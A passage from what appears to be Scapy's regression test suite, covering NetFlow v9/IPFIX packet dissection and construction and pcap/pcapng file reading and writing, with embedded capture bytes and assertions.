\x00\x02\x00:\x00\x02\x04\x00\x008\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x10\xac\x00\x00\x10\x83\x00\x00\x00\x00\x00\x00\x0b\xb8\x00\x00\x00\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x01\x005\x005\x11\x00\x04\x00\x00\x00\x00e') assert nfv9_multiple_flowsets.haslayer(NetflowFlowsetV9) assert nfv9_multiple_flowsets.haslayer(NetflowDataflowsetV9) nfv9_defrag = netflowv9_defragment(list(nfv9_multiple_flowsets)) flowset1 = nfv9_defrag[0].getlayer(NetflowFlowsetV9, 1) assert flowset1.templates[0].template_fields[0].fieldType == 8 assert flowset1.templates[0].template_fields[0].fieldLength == 4 assert flowset1.templates[0].template_fields[5].fieldType == 2 assert flowset1.templates[0].template_fields[5].fieldLength == 8 flowset2 = nfv9_defrag[0].getlayer(NetflowFlowsetV9, 2) assert flowset2.templates[0].template_fields[0].fieldType == 27 assert flowset2.templates[0].template_fields[0].fieldLength == 16 assert flowset2.templates[0].template_fields[5].fieldType == 1 assert flowset2.templates[0].template_fields[5].fieldLength == 8 assert nfv9_defrag[0].getlayer(NetflowFlowsetV9, 2) assert nfv9_defrag[0].records[0].IP_PROTOCOL_VERSION == 4 assert nfv9_defrag[0].records[0].PROTOCOL == 17 assert nfv9_defrag[0].records[0].IPV4_SRC_ADDR == "127.0.0.1" = NetflowV9 - build and dissection ~ netflow header = Ether()/IP()/UDP() netflow_header = NetflowHeader()/NetflowHeaderV9() flowset = NetflowFlowsetV9( templates=[NetflowTemplateV9( template_fields=[ NetflowTemplateFieldV9(fieldType=1, fieldLength=1), # IN_BYTES NetflowTemplateFieldV9(fieldType=2, fieldLength=4), # IN_PKTS NetflowTemplateFieldV9(fieldType=4), # PROTOCOL NetflowTemplateFieldV9(fieldType=8), # IPV4_SRC_ADDR NetflowTemplateFieldV9(fieldType=12), # IPV4_DST_ADDR ], templateID=256, fieldCount=5) ], flowSetID=0 ) recordClass = GetNetflowRecordV9(flowset) dataFS = NetflowDataflowsetV9( templateID=256, records=[ # Some random data. recordClass( IN_BYTES=b"\x12", IN_PKTS=b"\0\0\0\0", PROTOCOL=6, IPV4_SRC_ADDR="192.168.0.10", IPV4_DST_ADDR="192.168.0.11" ), ], ) pkt = netflow_header / flowset / dataFS assert raw(pkt) == b'\x00\t\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x01\x00\x00\x05\x00\x01\x00\x01\x00\x02\x00\x04\x00\x04\x00\x01\x00\x08\x00\x04\x00\x0c\x00\x04\x01\x00\x00\x14\x12\x00\x00\x00\x00\x06\xc0\xa8\x00\n\xc0\xa8\x00\x0b\x00\x00' pkt = header / netflow_header / flowset / dataFS pkt = netflowv9_defragment(Ether(raw(pkt)))[0] assert NetflowDataflowsetV9 in pkt assert len(pkt[NetflowDataflowsetV9].records) == 1 assert pkt[NetflowDataflowsetV9].records[0].IPV4_DST_ADDR == "192.168.0.11" = NetflowV9 - advanced build ~ netflow atm_time = 1547927349.328283 header = Ether(src="00:00:00:00:00:00", dst="aa:aa:aa:aa:aa:aa")/IP(dst="127.0.0.1", src="127.0.0.1")/UDP()/NetflowHeader()/NetflowHeaderV9(unixSecs=atm_time) flowset = NetflowFlowsetV9(templates=[NetflowTemplateV9(template_fields=[NetflowTemplateFieldV9(fieldType=8, fieldLength=4),NetflowTemplateFieldV9(fieldType=12, fieldLength=4),NetflowTemplateFieldV9(fieldType=5, fieldLength=1),NetflowTemplateFieldV9(fieldType=4, fieldLength=1),NetflowTemplateFieldV9(fieldType=7, fieldLength=2),NetflowTemplateFieldV9(fieldType=11, fieldLength=2),NetflowTemplateFieldV9(fieldType=32, fieldLength=2),NetflowTemplateFieldV9(fieldType=10, fieldLength=4),NetflowTemplateFieldV9(fieldType=16, fieldLength=4),NetflowTemplateFieldV9(fieldType=17, fieldLength=4),NetflowTemplateFieldV9(fieldType=18, fieldLength=4),NetflowTemplateFieldV9(fieldType=14, fieldLength=4),NetflowTemplateFieldV9(fieldType=1, fieldLength=4),NetflowTemplateFieldV9(fieldType=2, fieldLength=4),NetflowTemplateFieldV9(fieldType=22, fieldLength=4),NetflowTemplateFieldV9(fieldType=21, fieldLength=4),NetflowTemplateFieldV9(fieldType=15, fieldLength=4),NetflowTemplateFieldV9(fieldType=9, fieldLength=1),NetflowTemplateFieldV9(fieldType=13, fieldLength=1),NetflowTemplateFieldV9(fieldType=6, fieldLength=1),NetflowTemplateFieldV9(fieldType=60, fieldLength=1)], templateID=424, fieldCount=21)], flowSetID=0, length=92) dataflowset = NetflowDataflowsetV9(records=[NetflowRecordV9(fieldValue=b'\x14\x00\x00\xfd\x1e\x00\x00\xfd\x00\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x03 \x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x02\xfb\x00\x15a|\x00\x00\x07\x0f$\x95x\xed$\x99\x91<\ndg\x01 \x00\x04')], templateID=424) pkt = netflowv9_defragment(list(header/flowset/dataflowset))[0] assert pkt.records[0].IPV4_NEXT_HOP == "10.100.103.1" assert pkt.records[0].OUTPUT_SNMP == b'\x00\x00\x02\xfb' assert raw(pkt) == b'\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00\xcc\x00\x01\x00\x00@\x11|\x1e\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x07\x08\x07\x00\xb8\x86\xe7\x00\t\x00\x02\x00\x00\x00\x00\\C\x7f5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\\x01\xa8\x00\x15\x00\x08\x00\x04\x00\x0c\x00\x04\x00\x05\x00\x01\x00\x04\x00\x01\x00\x07\x00\x02\x00\x0b\x00\x02\x00 \x00\x02\x00\n\x00\x04\x00\x10\x00\x04\x00\x11\x00\x04\x00\x12\x00\x04\x00\x0e\x00\x04\x00\x01\x00\x04\x00\x02\x00\x04\x00\x16\x00\x04\x00\x15\x00\x04\x00\x0f\x00\x04\x00\t\x00\x01\x00\r\x00\x01\x00\x06\x00\x01\x00<\x00\x01\x01\xa8\x00@\x14\x00\x00\xfd\x1e\x00\x00\xfd\x00\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x03 \x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x02\xfb\x00\x15a|\x00\x00\x07\x0f$\x95x\xed$\x99\x91<\ndg\x01 \x00\x04' = NetflowV9 - padding #GH2257 dat = hex_bytes("fb200807007840a10009000277efe9c450c843f900362202000000000001001801000004000800010000002a00040029000400000101004477ef819077ef81900000003c00000001009300930ac900640ac9033b060009ee0b3500000ac9033b131302000000000000260bdc69aa6480996649a000000000") pkt = UDP(dat) assert pkt[NetflowOptionsFlowsetV9].pad == b"\x00\x00" pkt[NetflowOptionsFlowsetV9].pad = None assert raw(pkt) == dat ############ ############ + Netflow v10 (aka IPFix) ~ netflow = IPFix dissection import os tmp = "/test/pcaps/ipfix.pcap" filename = os.path.abspath(os.path.join(os.path.dirname(__file__),"../")) + tmp filename = os.getenv("SCAPY_ROOT_DIR")+tmp if not os.path.exists(filename) else filename a = sniff(offline=filename, session=NetflowSession) # Templates pkt1 = a[0] assert NetflowHeaderV10 in pkt1 assert len(pkt1[NetflowFlowsetV9].templates) == 1 assert len(pkt1[NetflowFlowsetV9].templates[0].template_fields) == 23 flds = pkt1[NetflowFlowsetV9].templates[0].template_fields assert (flds[0].fieldType == 8 and flds[0].fieldLength == 4) assert (flds[4].fieldType == 7 and flds[4].fieldLength == 2) # Data pkt2 = a[2] assert NetflowHeaderV10 in pkt2 assert len(pkt2.records) == 1 assert pkt2.records[0].IPV4_SRC_ADDR == "70.1.115.1" assert pkt2.records[0].flowStartMilliseconds == 1480449931519 # Options pkt3 = a[1] assert NetflowOptionsFlowset10 in pkt3 assert pkt3.scope_field_count == 1 assert pkt3.field_count == 3 assert len(pkt3[NetflowOptionsFlowset10].scopes) == 1 assert len(pkt3[NetflowOptionsFlowset10].options) == 2 assert pkt3.scopes[0].scopeFieldType == 5 assert pkt3.scopes[0].scopeFieldlength == 2 assert pkt3[NetflowOptionsFlowset10].options[0].optionFieldType == 36 # Templates with enterprise-specific Information Elements. s=b'\x01\x07\x00\x12\x01\n\x00\x04\x84\x0c\x00\x02\x00\x00\x00\t\x01\n\x00&\x00\x0b\x00\x02\x00\x07\x00\x02\x00\x04\x00\x01\x00\x0c\x00\x04\x00\x08\x00\x04\x00\xea\x00\x02\x01\n\x00\x01\x84\x10\x00\x06\x00\x00\x00\t\x84\x0e\x00\x06\x00\x00\x00\t\x84\x0f\x00\x06\x00\x00\x00\t\x00\x01\x00\x04\x00\x02\x00\x04\x00\xf3\x00\x02\x00\x06\x00\x01\x01\n\x00#' pkt4 = NetflowTemplateV9(s) assert len(pkt4.template_fields) == pkt4.fieldCount assert sum([template.fieldLength for template in pkt4.template_fields]) == 124 = NetflowV10/IPFIX - build netflow_header = NetflowHeader()/NetflowHeaderV10() flowset = NetflowFlowsetV9( templates=[NetflowTemplateV9( template_fields=[ NetflowTemplateFieldV9(fieldType=1, fieldLength=1), # IN_BYTES NetflowTemplateFieldV9(fieldType=2, fieldLength=4), # IN_PKTS NetflowTemplateFieldV9(fieldType=4), # PROTOCOL NetflowTemplateFieldV9(fieldType=8), # IPV4_SRC_ADDR NetflowTemplateFieldV9(fieldType=12), # IPV4_DST_ADDR ], templateID=256, fieldCount=5) ], flowSetID=0 ) recordClass = GetNetflowRecordV9(flowset) dataFS = NetflowDataflowsetV9( templateID=256, records=[ # Some random data. recordClass( IN_BYTES=b"\x12", IN_PKTS=b"\0\0\0\0", PROTOCOL=6, IPV4_SRC_ADDR="192.168.0.10", IPV4_DST_ADDR="192.168.0.11" ), ], ) pkt = netflow_header / flowset / dataFS assert raw(pkt) == b'\x00\n\x00>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x01\x00\x00\x05\x00\x01\x00\x01\x00\x02\x00\x04\x00\x04\x00\x01\x00\x08\x00\x04\x00\x0c\x00\x04\x01\x00\x00\x14\x12\x00\x00\x00\x00\x06\xc0\xa8\x00\n\xc0\xa8\x00\x0b\x00\x00' ############ ############ + pcap / pcapng format support = Variable creations from io import BytesIO pcapfile = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00e\x00\x00\x00\xcf\xc5\xacVo*\n\x00(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00\xcf\xc5\xacV_-\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r\xcf\xc5\xacV\xf90\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00') pcapngfile = BytesIO(b'\n\r\r\n\\\x00\x00\x00M<+\x1a\x01\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x01\x00,\x00File created by merging: \nFile1: test.pcap \n\x04\x00\x08\x00mergecap\x00\x00\x00\x00\\\x00\x00\x00\x01\x00\x00\x00\\\x00\x00\x00e\x00\x00\x00\xff\xff\x00\x00\x02\x006\x00Unknown/not available in original file format(libpcap)\x00\x00\t\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00\x00\\\x00\x00\x00\x06\x00\x00\x00H\x00\x00\x00\x00\x00\x00\x00\x8d*\x05\x00/\xfc[\xcd(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00H\x00\x00\x00\x06\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x8d*\x05\x00\x1f\xff[\xcd\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r<\x00\x00\x00\x06\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x8d*\x05\x00\xb9\x02\\\xcd\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00<\x00\x00\x00') pcapnanofile = BytesIO(b"M<\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00e\x00\x00\x00\xcf\xc5\xacV\xc9\xc1\xb5'(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00\xcf\xc5\xacV-;\xc1'\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r\xcf\xc5\xacV\x9aL\xcf'\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00") pcapwirelenfile = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00}\x87pZ.\xa2\x08\x00\x0f\x00\x00\x00\x10\x00\x00\x00\xff\xff\xff\xff\xff\xff GG\xee\xdd\xa8\x90\x00a') pcapngdefaults = BytesIO(base64_bytes(b'Cg0NChwAAABNPCsaAQAAAP//////////HAAAAAEAAAAgAAAAEgEAAP//AAAJAAEACUeZiQAAAAAgAAAAAQAAACAAAAASAQAA//8AAAkAAQAJAAAAAAAAACAAAAABAAAAIAAAABIBAAD//wAACQABAAkAAAAAAAAAIAAAAAEAAAAgAAAAEgEAAP//AAAJAAEACQAAAAAAAAAgAAAABgAAAIQBAAADAAAApO/bFdgJaeBiAQAAYgEAAFVVVVVVVVXV////////IMbr4D7PCABFAAFIlQkAAEAR5JwAAAAA/////wBEAEMBNJDsAQEGAFSpVwIACoAAAAAAAAAAAAAAAAAAAAAAACDG6+A+zwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEB/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsOs+bAAAhAEAAAYAAACAAQAAAwAAAKTv2xXIDYznYAEAAGABAABVVVVVVVVV1QEAXn//+iDG6+A+zwgARQABRgGPAAAEEal3qf5wqO////rhbgdsATJi0U5PVElGWSAqIEhUVFAvMS4xDQpIT1NUOiAyMzkuMjU1LjI1NS4yNTA6MTkwMA0KQ0FDSEUtQ09OVFJPTDogbWF4LWFnZT0xODAwDQpMT0NBVElPTjogaHR0cDovLzE2OS4yNTQuMTEyLjE2ODo1NTAwMC9ucmMvZGRkLnhtbA0KTlQ6IHV1aWQ6NEQ0NTQ5MzAtMDIwMC0xMDAwLTgwMDEtMjBDNkVCRTAzRUNGDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogRnJlZUJTRC84LjAgVVBuUC8xLjAgUGFuYXNvbmljLU1JTC1ETE5BLVNWLzEuMA0KVVNOOiB1dWlkOjRENDU0OTMwLTAyMDAtMTAwMC04MDAxLTIwQzZFQkUwM0VDRg0KDQpcQcvWgAEAAAYAAAC4AQAAAwAAAKTv2xV4Ao3nlQEAAJUBAABVVVVVVVVV1QEAXn//+iDG6+A+zwgARQABewGQAAAEEalBqf5wqO////rhbgdsAWfu+k5PVElGWSAqIEhUVFAvMS4xDQpIT1NUOiAyMzkuMjU1LjI1NS4yNTA6MTkwMA0KQ0FDSEUtQ09OVFJPTDogbWF4LWFnZT0xODAwDQpMT0NBVElPTjogaHR0cDovLzE2OS4yNTQuMTEyLjE2ODo1NTAwMC9ucmMvZGRkLnhtbA0KTlQ6IHVybjpwYW5hc29uaWMtY29tOmRldmljZTpwMDBSZW1vdGVDb250cm9sbGVyOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBGcmVlQlNELzguMCBVUG5QLzEuMCBQYW5hc29uaWMtTUlMLURMTkEtU1YvMS4wDQpVU046IHV1aWQ6NEQ0NTQ5MzAtMDIwMC0xMDAwLTgwMDEtMjBDNkVCRTAzRUNGOjp1cm46cGFuYXNvbmljLWNvbTpkZXZpY2U6cDAwUmVtb3RlQ29udHJvbGxlcjoxDQoNCrLVKmoAAAC4AQAABgAAAHgBAAADAAAApO/bFVjbjedXAQAAVwEAAFVVVVVVVVXVAQBef//6IMbr4D7PCABFAAE9AZEAAAQRqX6p/nCo7///+uFuB2wBKaZATk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTE4MDANCkxPQ0FUSU9OOiBodHRwOi8vMTY5LjI1NC4xMTIuMTY4OjU1MDAwL25yYy9kZGQueG1sDQpOVDogdXBucDpyb290ZGV2aWNlDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogRnJlZUJTRC84LjAgVVBuUC8xLjAgUGFuYXNvbmljLU1JTC1ETE5BLVNWLzEuMA0KVVNOOiB1dWlkOjRENDU0OTMwLTAyMDAtMTAwMC04MDAxLTIwQzZFQkUwM0VDRjo6dXBucDpyb290ZGV2aWNlDQoNCjagXoUAeAEAAAYAAAC0AQAAAwAAAKTv2xXYw47nkwEAAJMBAABVVVVVVVVV1QEAXn//+iDG6+A+zwgARQABeQGSAAAEEalBqf5wqO////rhbgdsAWWV4E5PVElGWSAqIEhUVFAvMS4xDQpIT1NUOiAyMzkuMjU1LjI1NS4yNTA6MTkwMA0KQ0FDSEUtQ09OVFJPTDogbWF4LWFnZT0xODAwDQpMT0NBVElPTjogaHR0cDovLzE2OS4yNTQuMTEyLjE2ODo1NTAwMC9ucmMvZGRkLnhtbA0KTlQ6IHVybjpwYW5hc29uaWMtY29tOnNlcnZpY2U6cDAwTmV0d29ya0NvbnRyb2w6MQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IEZyZWVCU0QvOC4wIFVQblAvMS4wIFBhbmFzb25pYy1NSUwtRExOQS1TVi8xLjANClVTTjogdXVpZDo0RDQ1NDkzMC0wMjAwLTEwMDAtODAwMS0yMEM2RUJFMDNFQ0Y6OnVybjpwYW5hc29uaWMtY29tOnNlcnZpY2U6cDAwTmV0d29ya0NvbnRyb2w6MQ0KDQovXKFrALQBAAAGAAAAqAEAAAMAAACk79sVuJKP54cBAACHAQAAVVVVVVVVVdUBAF5///ogxuvgPs8IAEUAAW0BkwAABBGpTKn+cKjv///64W4HbAFZRNJOT1RJRlkgKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCkNBQ0hFLUNPTlRST0w6IG1heC1hZ2U9MTgwMA0KTE9DQVRJT046IGh0dHA6Ly8xNjkuMjU0LjExMi4xNjg6NTUwMDAvbnJjL2RkZC54bWwNCk5UOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBGcmVlQlNELzguMCBVUG5QLzEuMCBQYW5hc29uaWMtTUlMLURMTkEtU1YvMS4wDQpVU046IHV1aWQ6NEQ0NTQ5MzAtMDIwMC0xMDAwLTgwMDEtMjBDNkVCRTAzRUNGOjp1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENCg0KLn5A6QCoAQAA')) = Read a pcap file pktpcap = rdpcap(pcapfile) = Read a pcapng file pktpcapng = rdpcap(pcapngfile) assert pktpcapng[0].time == 1454163407.666223 = Read a pcap file with nanosecond precision pktpcapnano = rdpcap(pcapnanofile) assert pktpcapnano[0].time == 1454163407.666223049 = Read a pcapng file with nanosecond precision and default tsresol pktpcapngdefaults = rdpcap(pcapngdefaults) assert pktpcapngdefaults[0].time == 1575115986.114775512 assert Ether in pktpcapngdefaults[0] = Read a pcap file with wirelen != captured len pktpcapwirelen = rdpcap(pcapwirelenfile) = Check all packet lists are the same assert list(pktpcap) == list(pktpcapng) == list(pktpcapnano) assert [float(p.time) for p in pktpcap] == [float(p.time) for p in pktpcapng] == [float(p.time) for p in pktpcapnano] = Check packets from pcap file assert all(IP in pkt for pkt in pktpcap) assert all(any(proto in pkt for pkt in pktpcap) for proto in [ICMP, UDP, TCP]) = Check wirelen value from pcap file assert len(pktpcapwirelen) == 1 assert pktpcapwirelen[0].wirelen is not None assert len(pktpcapwirelen[0]) < pktpcapwirelen[0].wirelen = Check wrpcap() then rdpcap() with wirelen import os, tempfile fdesc, filename = tempfile.mkstemp() fdesc = os.fdopen(fdesc, "wb") wrpcap(fdesc, pktpcapwirelen) fdesc.close() newpktpcapwirelen = rdpcap(filename) assert len(newpktpcapwirelen) == 1 assert newpktpcapwirelen[0].wirelen is not None assert len(newpktpcapwirelen[0]) < newpktpcapwirelen[0].wirelen assert newpktpcapwirelen[0].wirelen == pktpcapwirelen[0].wirelen = Check wrpcap() then rdpcap() with sent_time on SndRcvList f = get_temp_file() s = Ether()/IP() r = Ether()/IP() s.sent_time = 1 r.time = 2 wrpcap(f, SndRcvList([(s, r)])) pcap = rdpcap(f) assert pcap[0].time == 1 assert pcap[1].time == 2 = Check wrpcap() fdesc, filename = tempfile.mkstemp() fdesc = os.fdopen(fdesc, "wb") wrpcap(fdesc, pktpcap) fdesc.close() = Check offline sniff() (by filename) assert list(pktpcap) == list(sniff(offline=filename)) = Check offline sniff() (by file object) fdesc = open(filename, "rb") assert list(pktpcap) == list(sniff(offline=fdesc)) fdesc.close() = Check offline sniff() with a filter (by filename) ~ tcpdump pktpcap_flt = [(proto, sniff(offline=filename, filter=proto.__name__.lower())) for proto in [ICMP, UDP, TCP]] assert all(list(pktpcap[proto]) == list(packets) for proto, packets in pktpcap_flt) = Check offline sniff() with a filter (by file object) ~ tcpdump fdesc = open(filename, "rb") pktpcap_tcp = sniff(offline=fdesc, filter="tcp") fdesc.close() assert list(pktpcap[TCP]) == list(pktpcap_tcp) os.unlink(filename) = Check offline sniff() with Packets and tcpdump ~ tcpdump l = sniff(offline=IP()/UDP(sport=(10000, 10001)), filter="udp") assert len(l) == 2 assert(all(UDP in p for p in l)) l = sniff(offline=[p for p in IP()/UDP(sport=(10000, 10001))], filter="udp") assert len(l) == 2 assert(all(UDP in p for p in l)) l = sniff(offline=IP()/UDP(sport=(10000, 10001)), filter="tcp") assert len(l) == 0 = Check offline sniff() with Packets, tcpdump and a bad filter ~ tcpdump try: sniff(offline=IP()/UDP(), filter="bad filter") except Scapy_Exception: pass else: assert False = Check offline sniff with lfilter assert len(sniff(offline=[IP()/UDP(), IP()/TCP()], lfilter=lambda x: TCP in x)) == 1 = Check offline sniff() without a tcpdump binary ~ tcpdump import mock conf_prog_tcpdump = conf.prog.tcpdump conf.prog.tcpdump = "tcpdump_fake" def _test_sniff_notcpdump(): try: sniff(offline="fake.pcap", filter="tcp") assert False except: assert True _test_sniff_notcpdump() conf.prog.tcpdump = conf_prog_tcpdump = Check wrpcap(nano=True) fdesc, filename = tempfile.mkstemp() fdesc = os.fdopen(fdesc, "wb") pktpcapnano[0].time += Decimal('1E-9') wrpcap(fdesc, pktpcapnano, nano=True) fdesc.close() pktpcapnanoread = rdpcap(filename) assert pktpcapnanoread[0].time == pktpcapnano[0].time os.unlink(filename) = Check PcapNg with nanosecond precision using obsolete packet block * first packet from capture file icmp2.ntar -- https://wiki.wireshark.org/Development/PcapNg?action=AttachFile&do=view&target=icmp2.ntar pcapngfile = BytesIO(b'\n\r\r\n\x1c\x00\x00\x00M<+\x1a\x01\x00\x00\x00\xa8\x03\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00(\x00\x00\x00\x01\x00\x00\x00\xff\xff\x00\x00\r\x00\x01\x00\x04\x04K\x00\t\x00\x01\x00\tK=N\x00\x00\x00\x00(\x00\x00\x00\x02\x00\x00\x00n\x00\x00\x00\x00\x00\x00\x00e\x14\x00\x00)4\'ON\x00\x00\x00N\x00\x00\x00\x00\x12\xf0\x11h\xd6\x00\x13r\t{\xea\x08\x00E\x00\x00<\x90\xa1\x00\x00\x80\x01\x8e\xad\xc0\xa8M\x07\xc0\xa8M\x1a\x08\x00r[\x03\x00\xd8\x00abcdefghijklmnopqrstuvwabcdefghi\xeay$\xf6\x00\x00n\x00\x00\x00') pktpcapng = rdpcap(pcapngfile) assert len(pktpcapng) == 1 pkt = pktpcapng[0] # weird, but wireshark agrees assert pkt.time == 22425.352221737 assert isinstance(pkt, Ether) pkt = pkt.payload assert isinstance(pkt, IP) pkt = pkt.payload assert isinstance(pkt, ICMP) pkt = pkt.payload assert isinstance(pkt, Raw) and pkt.load == b'abcdefghijklmnopqrstuvwabcdefghi' pkt = pkt.payload assert isinstance(pkt, Padding) and pkt.load == b'\xeay$\xf6' pkt = pkt.payload assert isinstance(pkt, NoPayload) = Check PcapNg using Simple Packet Block * previous file with the (obsolete) packet block replaced by a Simple Packet Block pcapngfile = BytesIO(b'\n\r\r\n\x1c\x00\x00\x00M<+\x1a\x01\x00\x00\x00\xa8\x03\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x01\x00\x00\x00(\x00\x00\x00\x01\x00\x00\x00\xff\xff\x00\x00\r\x00\x01\x00\x04\x04K\x00\t\x00\x01\x00\tK=N\x00\x00\x00\x00(\x00\x00\x00\x03\x00\x00\x00`\x00\x00\x00N\x00\x00\x00\x00\x12\xf0\x11h\xd6\x00\x13r\t{\xea\x08\x00E\x00\x00<\x90\xa1\x00\x00\x80\x01\x8e\xad\xc0\xa8M\x07\xc0\xa8M\x1a\x08\x00r[\x03\x00\xd8\x00abcdefghijklmnopqrstuvwabcdefghi\xeay$\xf6\x00\x00`\x00\x00\x00') pktpcapng = rdpcap(pcapngfile) assert len(pktpcapng) == 1 pkt = pktpcapng[0] assert isinstance(pkt, Ether) pkt = pkt.payload assert isinstance(pkt, IP) pkt = pkt.payload assert isinstance(pkt, ICMP) pkt = pkt.payload assert isinstance(pkt, Raw) and pkt.load == b'abcdefghijklmnopqrstuvwabcdefghi' pkt = pkt.payload assert isinstance(pkt, Padding) and pkt.load == b'\xeay$\xf6' pkt = pkt.payload assert isinstance(pkt, NoPayload) = Invalid pcapng file from io import BytesIO invalid_pcapngfile = BytesIO(b'\n\r\r\n\r\x00\x00\x00M<+\x1a\xb2<\xb2\xa1\x01\x00\x00\x00\r\x00\x00\x00M<+\x1a\x80\xaa\xb2\x02') assert(len(rdpcap(invalid_pcapngfile)) == 0) = Check PcapWriter on null write f = BytesIO() w = PcapWriter(f) w.write([]) assert len(f.getvalue()) == 0 # Stop being closed for reals, but we still want to have the header written with mock.patch.object(f, 'close') as cf: w.close() cf.assert_called_once_with() assert len(f.getvalue()) != 0 = Check PcapWriter sets correct linktype after null write f = BytesIO() w = PcapWriter(f) w.write([]) assert len(f.getvalue()) == 0 w.write(Ether()/IP()/ICMP()) assert len(f.getvalue()) != 0 # Stop being closed for reals, but we still want to have the header written with mock.patch.object(f, 'close') as cf: w.close() cf.assert_called_once_with() f.seek(0) or None assert len(f.getvalue()) != 0 r = PcapReader(f) f.seek(0) or None assert r.LLcls is Ether assert r.linktype == DLT_EN10MB l = [ p for p in RawPcapReader(f) ] assert len(l) == 1 = Check tcpdump() ~ tcpdump from io import BytesIO * No very specific tests because we do not want to depend on tcpdump output pcapfile = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x000}$]\xff\\\t\x006\x00\x00\x006\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 